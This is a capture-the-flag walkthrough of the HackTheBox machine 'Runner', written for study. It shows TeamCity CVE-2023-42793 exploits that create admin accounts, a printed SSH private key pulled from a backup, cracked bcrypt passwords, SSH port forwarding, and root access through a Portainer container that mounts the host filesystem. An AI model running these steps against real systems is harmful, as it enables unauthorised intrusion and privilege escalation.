Runner – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Medium
  • Platform: HackTheBox

‘Runner’ Avatar


Summary Link to heading

Runner is a medium difficulty box from HackTheBox platform. After searching for vhosts in this machine, we find one that is running a vulnerable version of TeamCity to CVE-2023-42793 which allow us to create/get credentials from users within this service. Inside this service, we are able to find some backup files that contain a SSH key for one user, gaining initial access to the victim machine. Once inside, we see that it is running Portainer –a tool to administer containers such as Docker–, which we can log in thanks to a password also contained into the backup files. Once inside this new internal service, we are able to mount a copy of the system into a container and read the contents of priviledges files.


User Link to heading

Starting with Nmap scan shows 3 ports open: 22 SSH, 80 HTTP and 8080 apparently running Nagios XI service.

❯ sudo nmap -sVC -p22,80,8000 10.10.11.13 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-28 21:36 -04
Nmap scan report for 10.10.11.13
Host is up (0.19s latency).

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http        nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://runner.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
8000/tcp open  nagios-nsca Nagios NSCA
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.47 seconds

From the scan I can see that connection to site at port 80 redirects to http://runner.htb, so I add this domain to my /etc/hosts file:

❯ echo '10.10.11.13 runner.htb' | sudo tee -a /etc/hosts

10.10.11.13 runner.htb

Once added this new subdomain, visiting http://runner.htb shows a simple website about code optimization:

Runner 1

Many of the buttons in this page do not work and we are only able to send a mail to sales@runner.htb. Since there is nothing interesting here, I will start searching for subdomains that could be applying vhosting with ffuf. Now, the “tricky” part is that we usually use the dictionary subdomains-top1million-XXXX.txt from SecLists, but this time we should apply another different like /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt. Doing this we have:

❯ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FUZZ -u http://runner.htb/ -H 'Host: FUZZ.runner.htb'  -fs 154 -t 55

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://runner.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.runner.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 55
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 154
________________________________________________

teamcity                [Status: 401, Size: 66, Words: 8, Lines: 2, Duration: 827ms]
:: Progress: [100000/100000] :: Job [1/1] :: 341 req/sec :: Duration: [0:04:36] :: Errors: 0 ::

where we have found a new domain: teamcity.runner.htb

We add this new subdomain to our /etc/hosts file, so now it looks like:

❯ tail -n 1 /etc/hosts

10.10.11.13 runner.htb teamcity.runner.htb

Visiting http://teamcity.runner.htb redirects to its /login.html page. The new site looks like:

Runner 2

The site is, apparently, using TeamCity

Info
TeamCity is used to build and test software products in an automated manner. It provides rapid feedback on every code change, reduces code integration problems, and leads to more effective teamwork. Many popular games, websites, banking systems, and all JetBrains products are built with TeamCity

Alternative 1: Github repository exploit Link to heading

Searching for TeamCity exploit on Google leads us to this Github Repository that is based on CVE-2023-42793. Basically, this exploit allows us to create a new user with administrative privileges since we have an endpoint /app/rest/users/id:1/tokens/RPC2 exposed without needing authentication; from here one could obtain an authentication token (for admin, for example) and apply a Remote Code Execution. Based on the page describing the vulnerability, the vulnerable versions are Up to (excluding) 2023.05.4. We can see in the login page that the version is 2023.05.3, so it should be vulnerable. We clone the mentioned repository and run it:

❯ git clone https://github.com/H454NSec/CVE-2023-42793.git

Cloning into 'CVE-2023-42793'...
remote: Enumerating objects: 28, done.
remote: Counting objects: 100% (28/28), done.
remote: Compressing objects: 100% (27/27), done.
remote: Total 28 (delta 12), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (28/28), 10.79 KiB | 216.00 KiB/s, done.
Resolving deltas: 100% (12/12), done.

❯ python3 CVE-2023-42793.py -u http://teamcity.runner.htb

[+] http://teamcity.runner.htb/login.html [H454NSec6009:@H454NSec]

where we might have credentials: H454NSec6009:@H454NSec


Alternative 2: Create a new admin user using SearchSploit exploit Link to heading

Using SearchSploit we have

❯ searchsploit teamcity

--------------------------------------------------- ---------------------------------
 Exploit Title                                     |  Path
--------------------------------------------------- ---------------------------------
JetBrains TeamCity 2018.2.4 - Remote Code Executio | java/remote/47891.txt
JetBrains TeamCity 2023.05.3 - Remote Code Executi | java/remote/51884.py
TeamCity < 9.0.2 - Disabled Registration Bypass    | multiple/remote/46514.js
TeamCity Agent - XML-RPC Command Execution (Metasp | multiple/remote/45917.rb
TeamCity Agent XML-RPC 10.0 - Remote Code Executio | php/webapps/48201.py
--------------------------------------------------- ---------------------------------
Shellcodes: No Results

Where exploit 51884 seems promising.

I copy this script and run it. Apparently, the first time we run it it recollects info about the site:

❯ searchsploit -m 51884

<SNIP>
Copied to: /home/gunzf0x/HTB/HTBMachines/Medium/Runner/exploits/51884.py

❯ mv 51884.py teamcity_exploit.py

❯ python3 teamcity_exploit.py

<SNIP>
usage: teamcity_exploit.py [-h] -u URL [-v]
teamcity_exploit.py: error: the following arguments are required: -u/--url
❯ python3 teamcity_exploit.py -u http://teamcity.runner.htb

<SNIP>
Token already exists
Previous token deleted successfully
run this command again for creating new token & admin user.

and re-running it we have:

❯ python3 teamcity_exploit.py -u http://teamcity.runner.htb

<SNIP>
Token: eyJ0eXAiOiAiVENWMiJ9.YktIb0JhZ09yVVcxd011MUJNNXlXMWtzNkk0.ZTlkODdkZTgtNWI5YS00OWE0LWEzMTgtYzNjZjU3MDRhMzBk
Successfully exploited!
URL: http://teamcity.runner.htb
Username: city_adminE7xn
Password: Main_password!!**

Now, back to the login page we can log in this panel with the credentials H454NSec6009:@H454NSec or we could use the user created from the SearchSploit exploit. Login with first credentials in the TeamCity panel we have then:

Runner 3

If we click on Administration at the top left panel we have the following:

Runner 4

Then, at the left side, scrolling down to Server Administration section I can see a Backup option. Clicking on it we can see:

Runner 5

Clicking on Start Backup creates a .zip file that can be downloaded.

Downloading and decompressing it shows us multiple files:

❯ unzip TeamCity_Backup_20240529_025322.zip

Archive:  TeamCity_Backup_20240529_025322.zip
TeamCity data backup; ZIP factory in use: memory-conservative (dynamic, shared); compression level -1.
<SNIP>

❯ ls -la

total 296
drwxr-xr-x 6 gunzf0x gunzf0x   4096 May 28 22:57 .
drwxr-xr-x 3 gunzf0x gunzf0x   4096 May 28 22:57 ..
---------- 1 gunzf0x gunzf0x      6 May 29  2024 charset
drwxr-xr-x 7 gunzf0x gunzf0x   4096 May 28 22:57 config
drwxr-xr-x 2 gunzf0x gunzf0x   4096 May 28 22:57 database_dump
---------- 1 gunzf0x gunzf0x    630 May 29  2024 export.report
drwxr-xr-x 2 gunzf0x gunzf0x   4096 May 28 22:57 metadata
drwxr-xr-x 3 gunzf0x gunzf0x   4096 May 28 22:57 system
-rw-r--r-- 1 gunzf0x gunzf0x 264776 May 28 22:56 TeamCity_Backup_20240529_025322.zip
---------- 1 gunzf0x gunzf0x     92 May 29  2024 version.txt

Using find I search for file names that could be interesting, like something that could be named id_rsa. And find something:

❯ find . -name "*id_rsa*" 2>/dev/null

./config/projects/AllProjects/pluginData/ssh_keys/id_rsa

And reading it shows a SSH key:

❯ chmod 600 ./config/projects/AllProjects/pluginData/ssh_keys/id_rsa

❯ cat ./config/projects/AllProjects/pluginData/ssh_keys/id_rsa

-----BEGIN OPENSSH PRIVATE KEY-----
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
KgK8c9z2ecgZsAAAALam9obkBydW5uZXI=
-----END OPENSSH PRIVATE KEY-----

but I don’t have a user. So this key is not very useful yet. Back to TeamCity panel, at Administration I can see a Users option. Clicking on it shows a table:

Runner 6

where I can see the users I have added testing the different scripts. I can see also 2 users: john and matthew. I save these users into a file called potential_users.txt and check with NetExec if we can log in with any of these users via SSH with the provided key:

❯ netexec ssh 10.10.11.13 -u potential_users.txt --key-file id_rsa -p ''

SSH         10.10.11.13     22     10.10.11.13      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
SSH         10.10.11.13     22     10.10.11.13      [-] matthew: (keyfile: id_rsa) Authentication failed.
SSH         10.10.11.13     22     10.10.11.13      [+] john: (keyfile: id_rsa)  (non root) Linux - Shell access!

So this key works for the user john.

❯ ssh -i id_rsa john@10.10.11.13

<SNIP>
john@runner:~$

where we can get the user flag at john home directory.


Root Link to heading

I note that we have 2 users in this machine as we suspected, john and matthew:

john@runner:~$ ls /home

john  matthew

Now that I have usernames, I also check if they were present in the backup compressed file we downloaded. If I search for john user we have:

❯ sudo grep -ri "john" .

./database_dump/comments:201, -42, 1709746543407, "New username: \'admin\', new name: \'John\', new email: \'john@runner.htb\'"
./database_dump/users:1, admin, $2a$07$neV5T/BlEDiMQUs.gM1p4uYl8xl8kvNUo4/8Aja2sAWHAQLWqufye, John, john@runner.htb, 1716949177384, BCRYPT

where I can see a hash that I save. If I search for matthew I get:

❯ sudo grep -ri "matthew" .

./config/projects/AllProjects/project-config.xml.1:  <description>Matthew's projects</description>
./config/_trash/AllProjects.project1/project-config.xml:  <description>Matthew's projects</description>
./database_dump/users:2, matthew, $2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em, Matthew, matthew@runner.htb, 1709150421438, BCRYPT
./database_dump/vcs_username:2, anyVcs, -1, 0, matthew
./system/pluginData/audit/configHistory/projects/project1/config.xml.1:  <description>Matthew's projects</description>

where I can see another hash.

I save these hashes into my attacker machine and attempt to crack with a Brute Force Password Cracking with JohnTheRipper:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt hashes_found

Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 128 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
piper123         (matthew)
1g 0:00:06:22 2.66% (ETA: 04:06:53) 0.002615g/s 1160p/s 1296c/s 1296C/s 303606..301298
Use the "--show" option to display all of the cracked passwords reliably

where we have credentials: matthew:piper123. These credentials do not work to change to matthew user inside the machine, so save them for later.

Back to the victim machine, I search for internal ports open:

john@runner:~$ ss -ntlp

State               Recv-Q              Send-Q                           Local Address:Port                             Peer Address:Port              Process
LISTEN              0                   4096                                 127.0.0.1:9000                                  0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:5005                                  0.0.0.0:*
LISTEN              0                   4096                             127.0.0.53%lo:53                                    0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:9443                                  0.0.0.0:*
LISTEN              0                   511                                    0.0.0.0:80                                    0.0.0.0:*
LISTEN              0                   128                                    0.0.0.0:22                                    0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:8111                                  0.0.0.0:*
LISTEN              0                   4096                                         *:8000                                        *:*
LISTEN              0                   511                                       [::]:80                                       [::]:*
LISTEN              0                   128                                       [::]:22                                       [::]:*

After exploring them, I note that port 9000, that was not publicly available, is a website thanks to cURL:

john@runner:~$ curl -s http://localhost:9000 | head -n 3

<!doctype html><html lang="en" ng-app="portainer" ng-strict-di data-edition="CE"><head><meta charset="utf-8"/><title>Portainer</title><meta name="description" content=""/><meta name="author" content="Portainer.io"/><meta http-equiv="cache-control" content="no-cache"/><meta http-equiv="expires" content="0"/><meta http-equiv="pragma" content="no-cache"/><base id="base"/><script>if (window.origin == 'file://') {
        // we are loading the app from a local file as in docker extension
        document.getElementById('base').href = 'http://localhost:49000/';

Since we have SSH credentials, we can attempt a Local Port Forwarding to gain access to this internal port. I logout from the current SSH session, and re-connect to the target machine, but this time converting port 9000 of the target machine in my port 9000 as well. For this we run:

❯ ssh -i id_rsa -L 9000:localhost:9000 john@10.10.11.13

and now, visiting http://localhost:9000 on my web browser I can see a website running Portainer:

Runner 7

Info
Portainer is a tool that can be used to monitor your Docker installation, interact with containerized apps, and deploy new stacks with minimal effort. A single Portainer instance can connect to multiple Docker hosts, centralizing your container

After some research we find this blog explaining a running condition vulnerability with Docker. It is based on CVE-2024-21626 where, basically, abusing from a running condition can lead to access to the original / directory of the system instead of a container.

I attempt to log in with the only credentials we have found, the ones for the user matthew. And they work. Once in we can see:

Runner 8

If I click on primary container now we have some options displayed at the left side. First, it is recommended to add a Volume (what is a Volume is better explained here). Basically, “a volume is a data storage area that can be mounted into a container to provide persistent storage”. So we can create a Volume to avoid problems in the future. Following the instructions of how to add a Volume on Portainer, we can go to Volume, then Add volume. Then just name it as test and as Driver select local. Finally, I want it to be a Private volume.

Runner 10

where we click on add driver option and add the options: driver:/, o:bind, type:none since we want to create a Volume as is explained here. Clicking on Volume and then our just created Volume, we should see:

Runner 18

Once we have created a Volume, go to Containers and create a new container with Add container option.

Runner 13

as Image I set the option teamcity:latest, since, if we visit Images section we can see 2 images already available:

Runner 14

so I just selected the one that was not being used. Scrolling down in the container creator I can see a section called Advanced container settings. There, at Command & logging tab I will select the option Interactive & TTY:

Runner 11

and at Volumes tab, click on + map additional volume. I will put as container the value /mnt/root and select the volume I have just created (which I have named test):

Runner 12

Finally I click on Deploy the container, wait and it is created as we can check at Containers section:

Runner 15

Clicking on my container I can see a Console option at the bottom of the first window:

Runner 16

Clicking on it spawn a new windows that asks us as which user we want to run this console. We just put root user and click on Connect:

Runner 17

A new shell spawns, but I note that at /mnt/root it has a copy of / directory of the original machine. As we can see, the file root.txt is located at /mnt/root/root, so we can read it and machine solved. There is no id_rsa file for root, so we cannot connect via SSH, but we could directly read the flag:

Runner 19

~ Happy Hacking